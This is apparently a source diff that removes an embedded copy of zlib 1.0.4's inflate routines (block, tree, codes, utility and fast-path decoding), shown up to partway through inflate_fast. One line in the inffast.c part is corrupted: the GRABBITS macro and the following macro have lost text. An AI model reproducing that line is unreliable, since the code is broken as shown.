&s->sub.trees.tb, z); - if (t != Z_OK) - { - r = t; - if (r == Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - LEAVE - } - s->sub.trees.index = 0; - Tracev((stderr, "inflate: bits tree ok\n")); - s->mode = DTREE; - case DTREE: - while (t = s->sub.trees.table, - s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) - { - inflate_huft *h; - uInt i, j, c; - - t = s->sub.trees.bb; - NEEDBITS(t) - h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); - t = h->word.what.Bits; - c = h->more.Base; - if (c < 16) - { - DUMPBITS(t) - s->sub.trees.blens[s->sub.trees.index++] = c; - } - else /* c == 16..18 */ - { - i = c == 18 ? 7 : c - 14; - j = c == 18 ? 11 : 3; - NEEDBITS(t + i) - DUMPBITS(t) - j += (uInt)b & inflate_mask[i]; - DUMPBITS(i) - i = s->sub.trees.index; - t = s->sub.trees.table; - if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || - (c == 16 && i < 1)) - { - inflate_trees_free(s->sub.trees.tb, z); - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - z->msg = (char*)"invalid bit length repeat"; - r = Z_DATA_ERROR; - LEAVE - } - c = c == 16 ? s->sub.trees.blens[i - 1] : 0; - do { - s->sub.trees.blens[i++] = c; - } while (--j); - s->sub.trees.index = i; - } - } - inflate_trees_free(s->sub.trees.tb, z); - s->sub.trees.tb = Z_NULL; - { - uInt bl, bd; - inflate_huft *tl, *td; - inflate_codes_statef *c; - - bl = 9; /* must be <= 9 for lookahead assumptions */ - bd = 6; /* must be <= 9 for lookahead assumptions */ - t = s->sub.trees.table; -#ifdef DEBUG_ZLIB - inflate_hufts = 0; -#endif - t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), - s->sub.trees.blens, &bl, &bd, &tl, &td, z); - if (t != Z_OK) - { - if (t == (uInt)Z_DATA_ERROR) { - ZFREE(z, s->sub.trees.blens); - s->mode = BADB; - } - r = t; - LEAVE - } - Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", - inflate_hufts, sizeof(inflate_huft))); - if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) - { - inflate_trees_free(td, z); - inflate_trees_free(tl, z); - r = Z_MEM_ERROR; - LEAVE - } - /* - * this ZFREE must occur *BEFORE* we mess with sub.decode, because - * sub.trees is union'd with sub.decode. - */ - ZFREE(z, s->sub.trees.blens); - s->sub.decode.codes = c; - s->sub.decode.tl = tl; - s->sub.decode.td = td; - } - s->mode = CODES; - case CODES: - UPDATE - if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) - return inflate_flush(s, z, r); - r = Z_OK; - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - LOAD - Tracev((stderr, "inflate: codes end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - if (!s->last) - { - s->mode = TYPE; - break; - } - if (k > 7) /* return unused byte, if any */ - { - Assert(k < 16, "inflate_codes grabbed too many bytes") - k -= 8; - n++; - p--; /* can always return one */ - } - s->mode = DRY; - case DRY: - FLUSH - if (s->read != s->write) - LEAVE - s->mode = DONEB; - case DONEB: - r = Z_STREAM_END; - LEAVE - case BADB: - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -int inflate_blocks_free(s, z, c) -inflate_blocks_statef *s; -z_streamp z; -uLongf *c; -{ - inflate_blocks_reset(s, z, c); - ZFREE(z, s->window); - ZFREE(z, s); - Trace((stderr, "inflate: blocks freed\n")); - return Z_OK; -} - - -void inflate_set_dictionary(s, d, n) -inflate_blocks_statef *s; -const Bytef *d; -uInt n; -{ - zmemcpy((charf *)s->window, d, n); - s->read = s->write = s->window + n; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ -int inflate_addhistory(s, z) -inflate_blocks_statef *s; -z_stream *z; -{ - uLong b; /* bit buffer */ /* NOT USED HERE */ - uInt k; /* bits in bit buffer */ /* NOT USED HERE */ - uInt t; /* temporary storage */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - if (s->read != s->write) - return Z_STREAM_ERROR; - if (s->mode != TYPE) - return Z_DATA_ERROR; - - /* we're ready to rock */ - LOAD - /* while there is input ready, copy to output buffer, moving - * pointers as needed. - */ - while (n) { - t = n; /* how many to do */ - /* is there room until end of buffer? */ - if (t > m) t = m; - /* update check information */ - if (s->checkfn != Z_NULL) - s->check = (*s->checkfn)(s->check, q, t); - zmemcpy(q, p, t); - q += t; - p += t; - n -= t; - z->total_out += t; - s->read = q; /* drag read pointer forward */ -/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ - if (q == s->end) { - s->read = q = s->window; - m = WAVAIL; - } - } - UPDATE - return Z_OK; -} - - -/* - * At the end of a Deflate-compressed PPP packet, we expect to have seen - * a `stored' block type value but not the (zero) length bytes. - */ -int inflate_packet_flush(s) - inflate_blocks_statef *s; -{ - if (s->mode != LENS) - return Z_DATA_ERROR; - s->mode = TYPE; - return Z_OK; -} -/* --- infblock.c */ - -/* +++ inftrees.c */ -/* inftrees.c -- generate Huffman trees for efficient decoding - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ - -char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - - -local int huft_build OF(( - uIntf *, /* code lengths in bits */ - uInt, /* number of codes */ - uInt, /* number of "simple" codes */ - const uIntf *, /* list of base values for non-simple codes */ - const uIntf *, /* list of extra bits for non-simple codes */ - inflate_huft * FAR*,/* result: starting table */ - uIntf *, /* maximum lookup bits (returns actual) */ - z_streamp )); /* for zalloc function */ - -local voidpf falloc OF(( - voidpf, /* opaque pointer (not used) */ - uInt, /* number of items */ - uInt)); /* size of item */ - -/* Tables for deflate from PKZIP's appnote.txt. */ -local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, - 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; - /* see note #13 above about 258 */ -local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, - 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ -local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, - 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, - 8193, 12289, 16385, 24577}; -local const uInt cpdext[30] = { /* Extra bits for distance codes */ - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, - 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, - 12, 12, 13, 13}; - -/* - Huffman code decoding is performed using a multi-level table lookup. - The fastest way to decode is to simply build a lookup table whose - size is determined by the longest code. However, the time it takes - to build this table can also be a factor if the data being decoded - is not very long. The most common codes are necessarily the - shortest codes, so those codes dominate the decoding time, and hence - the speed. The idea is you can have a shorter table that decodes the - shorter, more probable codes, and then point to subsidiary tables for - the longer codes. The time it costs to decode the longer codes is - then traded against the time it takes to make longer tables. - - This results of this trade are in the variables lbits and dbits - below. lbits is the number of bits the first level table for literal/ - length codes can decode in one step, and dbits is the same thing for - the distance codes. Subsequent tables are also less than or equal to - those sizes. These values may be adjusted either when all of the - codes are shorter than that, in which case the longest code length in - bits is used, or when the shortest code is *longer* than the requested - table size, in which case the length of the shortest code in bits is - used. - - There are two different values for the two tables, since they code a - different number of possibilities each. The literal/length table - codes 286 possible values, or in a flat code, a little over eight - bits. The distance table codes 30 possible values, or a little less - than five bits, flat. The optimum values for speed end up being - about one bit more than those, so lbits is 8+1 and dbits is 5+1. - The optimum values may differ though from machine to machine, and - possibly even between compilers. Your mileage may vary. - */ - - -/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ -#define BMAX 15 /* maximum bit length of any code */ -#define N_MAX 288 /* maximum number of codes in any set */ - -#ifdef DEBUG_ZLIB - uInt inflate_hufts; -#endif - -local int huft_build(b, n, s, d, e, t, m, zs) -uIntf *b; /* code lengths in bits (all assumed <= BMAX) */ -uInt n; /* number of codes (assumed <= N_MAX) */ -uInt s; /* number of simple-valued codes (0..s-1) */ -const uIntf *d; /* list of base values for non-simple codes */ -const uIntf *e; /* list of extra bits for non-simple codes */ -inflate_huft * FAR *t; /* result: starting table */ -uIntf *m; /* maximum lookup bits, returns actual */ -z_streamp zs; /* for zalloc function */ -/* Given a list of code lengths and a maximum table size, make a set of - tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR - if the given code set is incomplete (the tables are still built in this - case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of - lengths), or Z_MEM_ERROR if not enough memory. */ -{ - - uInt a; /* counter for codes of length k */ - uInt c[BMAX+1]; /* bit length count table */ - uInt f; /* i repeats in table every f entries */ - int g; /* maximum code length */ - int h; /* table level */ - register uInt i; /* counter, current code */ - register uInt j; /* counter */ - register int k; /* number of bits in current code */ - int l; /* bits per table (returned in m) */ - register uIntf *p; /* pointer into c[], b[], or v[] */ - inflate_huft *q; /* points to current table */ - struct inflate_huft_s r; /* table entry for structure assignment */ - inflate_huft *u[BMAX]; /* table stack */ - uInt v[N_MAX]; /* values in order of bit length */ - register int w; /* bits before this table == (l * h) */ - uInt x[BMAX+1]; /* bit offsets, then code stack */ - uIntf *xp; /* pointer into x */ - int y; /* number of dummy codes added */ - uInt z; /* number of entries in current table */ - - - /* Generate counts for each bit length */ - p = c; -#define C0 *p++ = 0; -#define C2 C0 C0 C0 C0 -#define C4 C2 C2 C2 C2 - C4 /* clear c[]--assume BMAX+1 is 16 */ - p = b; i = n; - do { - c[*p++]++; /* assume all entries <= BMAX */ - } while (--i); - if (c[0] == n) /* null input--all zero length codes */ - { - *t = (inflate_huft *)Z_NULL; - *m = 0; - return Z_OK; - } - - - /* Find minimum and maximum length, bound *m by those */ - l = *m; - for (j = 1; j <= BMAX; j++) - if (c[j]) - break; - k = j; /* minimum code length */ - if ((uInt)l < j) - l = j; - for (i = BMAX; i; i--) - if (c[i]) - break; - g = i; /* maximum code length */ - if ((uInt)l > i) - l = i; - *m = l; - - - /* Adjust last length count to fill out codes, if needed */ - for (y = 1 << j; j < i; j++, y <<= 1) - if ((y -= c[j]) < 0) - return Z_DATA_ERROR; - if ((y -= c[i]) < 0) - return Z_DATA_ERROR; - c[i] += y; - - - /* Generate starting offsets into the value table for each length */ - x[1] = j = 0; - p = c + 1; xp = x + 2; - while (--i) { /* note that i == g from above */ - *xp++ = (j += *p++); - } - - - /* Make a table of values in order of bit lengths */ - p = b; i = 0; - do { - if ((j = *p++) != 0) - v[x[j]++] = i; - } while (++i < n); - n = x[g]; /* set n to length of v */ - - - /* Generate the Huffman codes and for each, make the table entries */ - x[0] = i = 0; /* first Huffman code is zero */ - p = v; /* grab values in bit order */ - h = -1; /* no tables yet--level -1 */ - w = -l; /* bits decoded == (l * h) */ - u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ - q = (inflate_huft *)Z_NULL; /* ditto */ - z = 0; /* ditto */ - - /* go through the bit lengths (k already is bits in shortest code) */ - for (; k <= g; k++) - { - a = c[k]; - while (a--) - { - /* here i is the Huffman code of length k bits for value *p */ - /* make tables up to required level */ - while (k > w + l) - { - h++; - w += l; /* previous table always l bits */ - - /* compute minimum size table less than or equal to l bits */ - z = g - w; - z = z > (uInt)l ? l : z; /* table size upper limit */ - if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ - { /* too few codes for k-w bit table */ - f -= a + 1; /* deduct codes from patterns left */ - xp = c + k; - if (j < z) - while (++j < z) /* try smaller tables up to z bits */ - { - if ((f <<= 1) <= *++xp) - break; /* enough codes to use up j bits */ - f -= *xp; /* else deduct codes from patterns */ - } - } - z = 1 << j; /* table entries for j-bit table */ - - /* allocate and link in new table */ - if ((q = (inflate_huft *)ZALLOC - (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) - { - if (h) - inflate_trees_free(u[0], zs); - return Z_MEM_ERROR; /* not enough memory */ - } -#ifdef DEBUG_ZLIB - inflate_hufts += z + 1; -#endif - *t = q + 1; /* link to list for huft_free() */ - *(t = &(q->next)) = Z_NULL; - u[h] = ++q; /* table starts after link */ - - /* connect to last table, if there is one */ - if (h) - { - x[h] = i; /* save pattern for backing up */ - r.bits = (Byte)l; /* bits to dump before this table */ - r.exop = (Byte)j; /* bits in this table */ - r.next = q; /* pointer to this table */ - j = i >> (w - l); /* (get around Turbo C bug) */ - u[h-1][j] = r; /* connect to last table */ - } - } - - /* set up table entry in r */ - r.bits = (Byte)(k - w); - if (p >= v + n) - r.exop = 128 + 64; /* out of values--invalid code */ - else if (*p < s) - { - r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ - r.base = *p++; /* simple code is just the value */ - } - else - { - r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ - r.base = d[*p++ - s]; - } - - /* fill code-like entries with r */ - f = 1 << (k - w); - for (j = i >> w; j < z; j += f) - q[j] = r; - - /* backwards increment the k-bit code i */ - for (j = 1 << (k - 1); i & j; j >>= 1) - i ^= j; - i ^= j; - - /* backup over finished tables */ - while ((i & ((1 << w) - 1)) != x[h]) - { - h--; /* don't need to update q */ - w -= l; - } - } - } - - - /* Return Z_BUF_ERROR if we were given an incomplete table */ - return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; -} - - -int inflate_trees_bits(c, bb, tb, z) -uIntf *c; /* 19 code lengths */ -uIntf *bb; /* bits tree desired/actual depth */ -inflate_huft * FAR *tb; /* bits tree result */ -z_streamp z; /* for zfree function */ -{ - int r; - - r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed dynamic bit lengths tree"; - else if (r == Z_BUF_ERROR || *bb == 0) - { - inflate_trees_free(*tb, z); - z->msg = (char*)"incomplete dynamic bit lengths tree"; - r = Z_DATA_ERROR; - } - return r; -} - - -int inflate_trees_dynamic(nl, nd, c, bl, bd, tl, td, z) -uInt nl; /* number of literal/length codes */ -uInt nd; /* number of distance codes */ -uIntf *c; /* that many (total) code lengths */ -uIntf *bl; /* literal desired/actual bit depth */ -uIntf *bd; /* distance desired/actual bit depth */ -inflate_huft * FAR *tl; /* literal/length tree result */ -inflate_huft * FAR *td; /* distance tree result */ -z_streamp z; /* for zfree function */ -{ - int r; - - /* build literal/length tree */ - r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); - if (r != Z_OK || *bl == 0) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed literal/length tree"; - else if (r != Z_MEM_ERROR) - { - inflate_trees_free(*tl, z); - z->msg = (char*)"incomplete literal/length tree"; - r = Z_DATA_ERROR; - } - return r; - } - - /* build distance tree */ - r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); - if (r != Z_OK || (*bd == 0 && nl > 257)) - { - if (r == Z_DATA_ERROR) - z->msg = (char*)"oversubscribed distance tree"; - else if (r == Z_BUF_ERROR) { -#ifdef PKZIP_BUG_WORKAROUND - r = Z_OK; - } -#else - inflate_trees_free(*td, z); - z->msg = (char*)"incomplete distance tree"; - r = Z_DATA_ERROR; - } - else if (r != Z_MEM_ERROR) - { - z->msg = (char*)"empty distance tree with lengths"; - r = Z_DATA_ERROR; - } - inflate_trees_free(*tl, z); - return r; -#endif - } - - /* done */ - return Z_OK; -} - - -/* build fixed tables only once--keep them here */ -local int fixed_built = 0; -#define FIXEDH 530 /* number of hufts used by fixed tables */ -local inflate_huft fixed_mem[FIXEDH]; -local uInt fixed_bl; -local uInt fixed_bd; -local inflate_huft *fixed_tl; -local inflate_huft *fixed_td; - - -local voidpf falloc(q, n, s) -voidpf q; /* opaque pointer */ -uInt n; /* number of items */ -uInt s; /* size of item */ -{ - Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, - "inflate_trees falloc overflow"); - *(intf *)q -= n+s-s; /* s-s to avoid warning */ - return (voidpf)(fixed_mem + *(intf *)q); -} - - -int inflate_trees_fixed(bl, bd, tl, td) -uIntf *bl; /* literal desired/actual bit depth */ -uIntf *bd; /* distance desired/actual bit depth */ -inflate_huft * FAR *tl; /* literal/length tree result */ -inflate_huft * FAR *td; /* distance tree result */ -{ - /* build fixed tables if not already (multiple overlapped executions ok) */ - if (!fixed_built) - { - int k; /* temporary variable */ - unsigned c[288]; /* length list for huft_build */ - z_stream z; /* for falloc function */ - int f = FIXEDH; /* number of hufts left in fixed_mem */ - - /* set up fake z_stream for memory routines */ - z.zalloc = falloc; - z.zfree = Z_NULL; - z.opaque = (voidpf)&f; - - /* literal table */ - for (k = 0; k < 144; k++) - c[k] = 8; - for (; k < 256; k++) - c[k] = 9; - for (; k < 280; k++) - c[k] = 7; - for (; k < 288; k++) - c[k] = 8; - fixed_bl = 7; - huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); - - /* distance table */ - for (k = 0; k < 30; k++) - c[k] = 5; - fixed_bd = 5; - huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); - - /* done */ - Assert(f == 0, "invalid build of fixed tables"); - fixed_built = 1; - } - *bl = fixed_bl; - *bd = fixed_bd; - *tl = fixed_tl; - *td = fixed_td; - return Z_OK; -} - - -int inflate_trees_free(t, z) -inflate_huft *t; /* table to free */ -z_streamp z; /* for zfree function */ -/* Free the malloc'ed tables built by huft_build(), which makes a linked - list of the tables it made, with the links in a dummy first entry of - each table. */ -{ - register inflate_huft *p, *q, *r; - - /* Reverse linked list */ - p = Z_NULL; - q = t; - while (q != Z_NULL) - { - r = (q - 1)->next; - (q - 1)->next = p; - p = q; - q = r; - } - /* Go through linked list, freeing from the malloced (t[-1]) address. */ - while (p != Z_NULL) - { - q = (--p)->next; - ZFREE(z,p); - p = q; - } - return Z_OK; -} -/* --- inftrees.c */ - -/* +++ infcodes.c */ -/* infcodes.c -- process literals and length/distance pairs - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -/* +++ inffast.h */ -/* inffast.h -- header to use inffast.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -extern int inflate_fast OF(( - uInt, - uInt, - inflate_huft *, - inflate_huft *, - inflate_blocks_statef *, - z_streamp )); -/* --- inffast.h */ - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* inflate codes private state */ -struct inflate_codes_state { - - /* mode */ - enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - START, /* x: set up for LEN */ - LEN, /* i: get length/literal/eob next */ - LENEXT, /* i: getting length extra (have base) */ - DIST, /* i: get distance next */ - DISTEXT, /* i: getting distance extra */ - COPY, /* o: copying bytes in window, waiting for space */ - LIT, /* o: got literal, waiting for output space */ - WASH, /* o: got eob, possibly still output waiting */ - END, /* x: got eob and all data flushed */ - BADCODE} /* x: got error */ - mode; /* current inflate_codes mode */ - - /* mode dependent information */ - uInt len; - union { - struct { - inflate_huft *tree; /* pointer into tree */ - uInt need; /* bits needed */ - } code; /* if LEN or DIST, where in tree */ - uInt lit; /* if LIT, literal */ - struct { - uInt get; /* bits to get for extra */ - uInt dist; /* distance back to copy from */ - } copy; /* if EXT or COPY, where and how much */ - } sub; /* submode */ - - /* mode independent information */ - Byte lbits; /* ltree bits decoded per branch */ - Byte dbits; /* dtree bits decoder per branch */ - inflate_huft *ltree; /* literal/length/eob tree */ - inflate_huft *dtree; /* distance tree */ - -}; - - -inflate_codes_statef *inflate_codes_new(bl, bd, tl, td, z) -uInt bl, bd; -inflate_huft *tl; -inflate_huft *td; /* need separate declaration for Borland C++ */ -z_streamp z; -{ - inflate_codes_statef *c; - - if ((c = (inflate_codes_statef *) - ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) - { - c->mode = START; - c->lbits = (Byte)bl; - c->dbits = (Byte)bd; - c->ltree = tl; - c->dtree = td; - Tracev((stderr, "inflate: codes new\n")); - } - return c; -} - - -int inflate_codes(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt j; /* temporary storage */ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - Bytef *f; /* pointer to copy strings from */ - inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input and output based on current state */ - while (1) switch (c->mode) - { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ - case START: /* x: set up for LEN */ -#ifndef SLOW - if (m >= 258 && n >= 10) - { - UPDATE - r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); - LOAD - if (r != Z_OK) - { - c->mode = r == Z_STREAM_END ? WASH : BADCODE; - break; - } - } -#endif /* !SLOW */ - c->sub.code.need = c->lbits; - c->sub.code.tree = c->ltree; - c->mode = LEN; - case LEN: /* i: get length/literal/eob next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e == 0) /* literal */ - { - c->sub.lit = t->base; - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: literal '%c'\n" : - "inflate: literal 0x%02x\n", t->base)); - c->mode = LIT; - break; - } - if (e & 16) /* length */ - { - c->sub.copy.get = e & 15; - c->len = t->base; - c->mode = LENEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - if (e & 32) /* end of block */ - { - Tracevv((stderr, "inflate: end of block\n")); - c->mode = WASH; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid literal/length code"; - r = Z_DATA_ERROR; - LEAVE - case LENEXT: /* i: getting length extra (have base) */ - j = c->sub.copy.get; - NEEDBITS(j) - c->len += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - c->sub.code.need = c->dbits; - c->sub.code.tree = c->dtree; - Tracevv((stderr, "inflate: length %u\n", c->len)); - c->mode = DIST; - case DIST: /* i: get distance next */ - j = c->sub.code.need; - NEEDBITS(j) - t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); - DUMPBITS(t->bits) - e = (uInt)(t->exop); - if (e & 16) /* distance */ - { - c->sub.copy.get = e & 15; - c->sub.copy.dist = t->base; - c->mode = DISTEXT; - break; - } - if ((e & 64) == 0) /* next table */ - { - c->sub.code.need = e; - c->sub.code.tree = t->next; - break; - } - c->mode = BADCODE; /* invalid code */ - z->msg = (char*)"invalid distance code"; - r = Z_DATA_ERROR; - LEAVE - case DISTEXT: /* i: getting distance extra */ - j = c->sub.copy.get; - NEEDBITS(j) - c->sub.copy.dist += (uInt)b & inflate_mask[j]; - DUMPBITS(j) - Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); - c->mode = COPY; - case COPY: /* o: copying bytes in window, waiting for space */ -#ifndef __TURBOC__ /* Turbo C bug for following expression */ - f = (uInt)(q - s->window) < c->sub.copy.dist ? - s->end - (c->sub.copy.dist - (q - s->window)) : - q - c->sub.copy.dist; -#else - f = q - c->sub.copy.dist; - if ((uInt)(q - s->window) < c->sub.copy.dist) - f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); -#endif - while (c->len) - { - NEEDOUT - OUTBYTE(*f++) - if (f == s->end) - f = s->window; - c->len--; - } - c->mode = START; - break; - case LIT: /* o: got literal, waiting for output space */ - NEEDOUT - OUTBYTE(c->sub.lit) - c->mode = START; - break; - case WASH: /* o: got eob, possibly more output */ - FLUSH - if (s->read != s->write) - LEAVE - c->mode = END; - case END: - r = Z_STREAM_END; - LEAVE - case BADCODE: /* x: got error */ - r = Z_DATA_ERROR; - LEAVE - default: - r = Z_STREAM_ERROR; - LEAVE - } -} - - -void inflate_codes_free(c, z) -inflate_codes_statef *c; -z_streamp z; -{ - ZFREE(z, c); - Tracev((stderr, "inflate: codes free\n")); -} -/* --- infcodes.c */ - -/* +++ infutil.c */ -/* inflate_util.c -- data and routines common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ -/* #include "inftrees.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* And'ing with mask[n] masks the lower n bits */ -uInt inflate_mask[17] = { - 0x0000, - 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, - 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff -}; - - -/* copy as much as possible from the sliding window to the output area */ -int inflate_flush(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt n; - Bytef *p; - Bytef *q; - - /* local copies of source and destination pointers */ - p = z->next_out; - q = s->read; - - /* compute number of bytes to copy as far as end of window */ - n = (uInt)((q <= s->write ? s->write : s->end) - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy as far as end of window */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - - /* see if more to copy at beginning of window */ - if (q == s->end) - { - /* wrap pointers */ - q = s->window; - if (s->write == s->end) - s->write = s->window; - - /* compute bytes to copy */ - n = (uInt)(s->write - q); - if (n > z->avail_out) n = z->avail_out; - if (n && r == Z_BUF_ERROR) r = Z_OK; - - /* update counters */ - z->avail_out -= n; - z->total_out += n; - - /* update check information */ - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(s->check, q, n); - - /* copy */ - if (p != Z_NULL) { - zmemcpy(p, q, n); - p += n; - } - q += n; - } - - /* update pointers */ - z->next_out = p; - s->read = q; - - /* done */ - return r; -} -/* --- infutil.c */ - -/* +++ inffast.c */ -/* inffast.c -- process literals and length/distance pairs fast - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "inftrees.h" */ -/* #include "infblock.h" */ -/* #include "infcodes.h" */ -/* #include "infutil.h" */ -/* #include "inffast.h" */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* simplify the use of the inflate_huft type with some defines */ -#define base more.Base -#define next more.Next -#define exop word.what.Exop -#define bits word.what.Bits - -/* macros for bit input with no checking and for returning unused bytes */ -#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} - -/* Called with number of bytes left to write in window at least 258 - (the maximum string length) and number of input bytes available - at least ten. The ten bytes are six bytes for the longest length/ - distance pair plus four bytes for overloading the bit buffer. */ - -int inflate_fast(bl, bd, tl, td, s, z) -uInt bl, bd; -inflate_huft *tl; -inflate_huft *td; /* need separate declaration for Borland C++ */ -inflate_blocks_statef *s; -z_streamp z; -{ - inflate_huft *t; /* temporary pointer */ - uInt e; /* extra bits or operation */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - uInt ml; /* mask for literal/length tree */ - uInt md; /* mask for distance tree */ - uInt c; /* bytes to copy */ - uInt d; /* distance back to copy from */ - Bytef *r; /* copy source pointer */ - - /* load input, output, bit values */ - LOAD - - /* initialize masks */ - ml = inflate_mask[bl]; - md = inflate_mask[bd]; - - /* do until not enough input or output space for fast loop */ - do { /* assume called with m >= 258 && n >= 10 */ - /* get literal/length code */ - GRABBITS(20) /* max bits for literal/length code */ - if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) - { - 